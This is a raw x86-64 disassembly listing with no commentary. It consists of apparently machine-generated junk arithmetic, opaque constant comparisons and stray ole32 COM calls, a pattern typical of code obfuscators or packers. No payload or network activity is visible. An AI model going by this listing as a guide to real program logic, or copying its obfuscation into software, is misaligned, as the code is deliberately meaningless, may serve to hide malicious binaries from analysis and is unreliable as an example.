mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3310]
mov rax, qword [rax]
mov qword [rsp + 0x3420], rax
jmp 0x140006885
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3378]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1b0c], eax
jmp 0x1400068aa
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov dword [rsp + 0x1b2c], 0xd72c
jmp 0x1400068d7
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
add eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1858], eax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3300]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3420], rax
mov eax, dword [rsp + 0x1a88]
add eax, 0x70
mov dword [rsp + 0x1a88], eax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3290]
shr rax, cl
mov rcx, qword [rsp + 0x3418]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1400f3004], eax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7ac]
shl eax, cl
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc9]
movzx ecx, byte [rsp + 0xca]
add eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3400]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x7ac]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3418]
mov rcx, qword [rsp + 0x3368]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
cmp dword [rsp + 0x1a88], 0x8205
jne 0x1400068d7
mov rax, qword [rsp + 0x3418]
mov rax, qword [rax]
mov qword [rsp + 0x3428], rax
cmp qword [rsp + 0x3428], 0
je 0x140006b01
movabs rax, 0x52310830026f54d5
cmp qword [rsp + 0x3428], rax
je 0x140006c4e
jmp 0x140006cac
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3310]
mov rdx, qword [rsp + 0x32a8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jle 0x140006c25
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1a98]
mov edx, dword [rsp + 0x1b0c]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140006b89
movzx r8d, word [rsp + 0x7a8]
mov rax, qword [rsp + 0x3330]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0xc8]
call fcn.1400d9880
nop
jmp 0x140006be6
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7a4]
or eax, ecx
movsx ecx, word [0x1400f3f14]
mov dword [rsp + 0x1b30], ecx
mov rdx, qword [rsp + 0x33d8]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x1b30]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140006be6
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1b0c]
sar eax, cl
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x32f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
lea rdx, [rsp + 0x1b18]
lea rcx, [rsp + 0x14710]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0x1b10], eax
jmp 0x140006c4c
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0xcb], al
movsx eax, word [0x1400f3f14]
imul eax, eax, 0x58d5
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
jmp 0x140006cac
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7a8]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movzx r8d, word [rsp + 0x7ac]
mov rax, qword [rsp + 0x32e8]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0xcb]
call fcn.1400d9880
nop
mov eax, dword [rsp + 0x1aa8]
mov dword [rsp + 0x1b34], eax
cmp dword [rsp + 0x1b34], 0
je 0x140006da8
cmp dword [rsp + 0x1b34], 0x76a9cb14
je 0x140006cda
jmp 0x1400d8431
mov eax, dword [0x1400f3004]
mov dword [rsp + 0x1b38], eax
cmp dword [rsp + 0x1b38], 0x5b72c50b
je 0x140006d0a
cmp dword [rsp + 0x1b38], 0x62e9a37e
je 0x140006d8e
jmp 0x140006da3
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
lea rdx, [rsp + 0x32e8]
lea rcx, [rsp + 0x3290]
call qword [sym.imp.ole32.dll_CoSwitchCallContext]
mov dword [rsp + 0x1a70], eax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3418]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x33c8]
mov qword [rcx], rax
jmp 0x140006da3
mov rdx, qword [rsp + 0x3420]
movzx ecx, byte [0x1400f3008]
call fcn.1400d9280
nop
jmp 0x1400d8431
mov rax, qword [rsp + 0x3310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3300]
mov rdx, qword [rsp + 0x3420]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jl 0x140006f4d
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x770]
mov word [rsp + 0x7b0], ax
movsx eax, word [rsp + 0x7a4]
mov dword [rsp + 0x1b3c], eax
cmp dword [rsp + 0x1b3c], 0x5b54
je 0x140006e33
jmp 0x140006f15
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
mov dword [rsp + 0x1b40], eax
cmp dword [rsp + 0x1b40], 0x5b54
je 0x140006e57
jmp 0x140006ef2
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
shl eax, cl
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
lea rax, [rsp + 0xcb]
mov qword [rsp + 0x3430], rax
mov eax, dword [rsp + 0x1a84]
mov rcx, qword [rsp + 0x32e0]
mov qword [rsp + 0x3438], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3438]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
lea rax, [rsp + 0x1a98]
mov qword [rsp + 0x3440], rax
mov rax, qword [rsp + 0x3420]
mov qword [rsp + 0x3448], rax
mov rax, qword [rsp + 0x32a8]
mov rcx, qword [rsp + 0x3420]
and rcx, rax
mov rax, rcx
mov qword [0x1400f3010], rax
jmp 0x140006f13
mov rax, qword [rsp + 0x3418]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3318], rax
jmp 0x140006f37
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov dword [rsp + 0x1b44], 0x6778
mov dword [rsp + 0x1b48], 0x6b6e
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7ac], ax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7a4]
and eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e0]
mov rcx, qword [rsp + 0x33c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3440]
mov rcx, qword [rsp + 0x3320]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov rax, qword [0x1400f3010]
mov rcx, qword [rsp + 0x33c8]
mov qword [rsp + 0x3450], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3450]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
xor eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xca]
sar eax, cl
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1b44]
add eax, 0x2c
mov dword [rsp + 0x1b44], eax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7a8]
and eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7a4], ax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1858]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x3440]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3418]
mov rcx, qword [rsp + 0x32d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3310]
mov rcx, qword [rsp + 0x3448]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [0x1400f3f14]
sub eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x32f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3318]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3418]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x32a8]
sar rax, cl
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3440]
mov qword [rsp + 0x3458], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3458]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32e0]
mov rcx, qword [rsp + 0x32f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
movsx eax, word [rsp + 0x7a4]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
add eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x33c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a84], eax
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1b0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x3448]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
movsx eax, byte [0x1400f3008]
add eax, 0x62
mov byte [0x1400f3008], al
mov eax, dword [rsp + 0x1a84]
mov ecx, dword [0x1400f3004]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
cmp dword [rsp + 0x1b44], 0x7404
jb 0x140006f4d
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7a4]
xor eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov eax, dword [0x1400f3004]
mov rcx, qword [rsp + 0x32e0]
mov qword [rsp + 0x3460], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3460]
mov eax, dword [rax]
shl eax, cl
mov ecx, dword [rsp + 0x1858]
mov rdx, qword [rsp + 0x33c0]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x1400074cc
lea rdx, [rsp + 0x3468]
lea rcx, [rsp + 0x14720]
call qword [sym.imp.ole32.dll_StringFromIID]
mov dword [rsp + 0x1ad4], eax
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov dword [rsp + 0x1b4c], eax
cmp dword [rsp + 0x1b4c], 0xca377420
je 0x14000749b
cmp dword [rsp + 0x1b4c], 0xd5875603
je 0x1400074b2
jmp 0x1400074c7
movzx edx, byte [0x1400f3008]
movzx ecx, word [rsp + 0x7ac]
call fcn.1400d9420
nop
jmp 0x1400074c7
lea rcx, [rsp + 0x14720]
call qword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [rsp + 0x1b50], eax
jmp 0x14000760f
lea rax, [rsp + 0x770]
mov qword [rsp + 0x3470], rax
mov rax, qword [rsp + 0x3290]
mov qword [rsp + 0x3478], rax
movabs rax, 0x75039b45d4fc5bda
cmp qword [rsp + 0x3478], rax
je 0x140007505
jmp 0x1400075d9
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7ac], ax
mov rax, qword [rsp + 0x3440]
mov eax, dword [rax]
mov dword [rsp + 0x1b54], eax
cmp dword [rsp + 0x1b54], 0x3fb123e4
je 0x140007555
cmp dword [rsp + 0x1b54], 0x62274136
je 0x140007599
jmp 0x1400075d7
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov r8d, dword [rsp + 0x1a84]
movzx edx, word [rsp + 0x7a4]
mov rax, qword [rsp + 0x32f8]
mov ecx, dword [rax]
call fcn.1400d8af0
nop
jmp 0x1400075d7
mov rax, qword [rsp + 0x33c0]
mov ecx, dword [rsp + 0x1858]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3318]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3418]
mov qword [rcx], rax
jmp 0x140007604
lea rax, [rsp + 0x32a8]
mov qword [rsp + 0x3480], rax
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str._tt_6_], al
mov dword [rsp + 0x1b58], 0x7aef
cmp dword [rsp + 0x1a9c], 0x410c
jae 0x140007900
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
movsx eax, word [0x1400f3f14]
movsx ecx, word [rsp + 0x7a4]
and eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1a98]
mov ecx, dword [rsp + 0x1b0c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7a8]
shl eax, cl
mov word [rsp + 0x7ac], ax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32d0]
mov qword [rsp + 0x3488], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3488]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x770]
movzx ecx, word [rsp + 0x7ac]
xor eax, ecx
mov word [rsp + 0x7a8], ax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1858]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x3310]
mov rcx, qword [rsp + 0x3448]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
movzx eax, byte [str._tt_6_]
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc9], al
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x3400]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
add eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x3480]
mov rcx, qword [rsp + 0x3420]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3378]
mov rcx, qword [rsp + 0x3320]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1400f3f10], eax
mov rax, qword [rsp + 0x3418]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3290]
shl rax, cl
mov qword [rsp + 0x3318], rax
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7a4], ax
mov eax, dword [rsp + 0x1a9c]
add eax, 0xdd
mov dword [rsp + 0x1a9c], eax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xca]
or eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
and eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [0x1400f3f14]
sub eax, ecx
mov word [rsp + 0x7a4], ax
jmp 0x14000760f
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
mov byte [rsp + 0x1b5c], al
cmp byte [rsp + 0x1b5c], 0xac
je 0x14000791e
jmp 0x14000797e
movsx eax, byte [0x1400f3008]
cmp eax, 0x71
jle 0x14000795c
movzx eax, word [rsp + 0x770]
movzx ecx, word [rsp + 0x7b0]
sub eax, ecx
mov rcx, qword [rsp + 0x3470]
mov word [rcx], ax
mov rdx, qword [rsp + 0x3420]
movzx ecx, byte [0x1400f3008]
call fcn.1400d9280
nop
lea rdx, [rsp + 0x146f0]
lea rcx, [rsp + 0x146a0]
call qword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [rsp + 0x1b24], eax
jmp 0x140007a66
mov eax, dword [rsp + 0x1b0c]
mov dword [rsp + 0x1b60], eax
cmp dword [rsp + 0x1b60], 0x5f99e59e
je 0x1400079f8
cmp dword [rsp + 0x1b60], 0x67f4f2d5
je 0x1400079ab
jmp 0x140007a3b
lea r9, [rsp + 0x3468]
lea r8, [rsp + 0x3440]
lea rdx, str.swift_Postman_Presumption
lea rcx, [rsp + 0x1ab8]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0x1b24], eax
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc9], al
jmp 0x140007a3b
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x3368]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [0x1400f3010]
mov rcx, qword [rsp + 0x3420]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x33c8]
mov qword [rcx], rax
mov dword [rsp + 0x1b64], 0x3938
cmp dword [rsp + 0x1aa0], 0xb50
jbe 0x140007fce
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7b0], ax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3400]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
mov eax, dword [0x1400f3004]
mov ecx, dword [rsp + 0x1858]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a84], eax
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1a98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x3318]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x3448]
mov rcx, qword [rsp + 0x3420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3370]
mov qword [rcx], rax
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7ac]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b0]
add eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1b0c]
mov ecx, dword [0x1400f3f10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
movsx eax, byte [0x1400f3008]
or eax, 0x58
mov byte [0x1400f3008], al
mov eax, dword [rsp + 0x1aa0]
sub eax, 0xdc
mov dword [rsp + 0x1aa0], eax
